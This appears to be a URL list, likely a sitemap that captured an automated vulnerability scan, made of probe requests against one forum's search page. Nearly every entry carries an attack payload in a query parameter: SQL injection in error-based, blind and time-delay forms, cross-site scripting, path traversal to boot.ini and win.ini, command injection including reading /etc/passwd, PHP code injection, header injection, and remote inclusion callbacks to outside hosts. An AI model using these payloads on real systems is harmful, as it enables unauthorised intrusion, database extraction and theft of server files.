http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20OR%20'a6'='a6'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=89)%20THEN%20'hotsearch'%20ELSE%200x28%20END))%20AND%20'dX'='dX 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%2012=67%20AND%20('f2'='f2 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=15)%20THEN%20'hotsearch'%20ELSE%200x28%20END))%20AND%20('w9'='w9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch';%20IF(56=21)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch);%20IF(32=57)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch6633x3X6 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearchAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearchJyI%3D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearchalert(42873) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearche360 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=phpinfo 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=set%7Cset&set 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%3Cdir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(42=21)%20THEN%200x74727565%20ELSE%2042*(SELECT%2042%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=................windowswin.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=dir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=phpinfo 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=set%7Cset&set 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true 0.0014 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%00' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25%27%29%20AND%2021%3D45%20AND%201%20like%28%27%25 0.0001 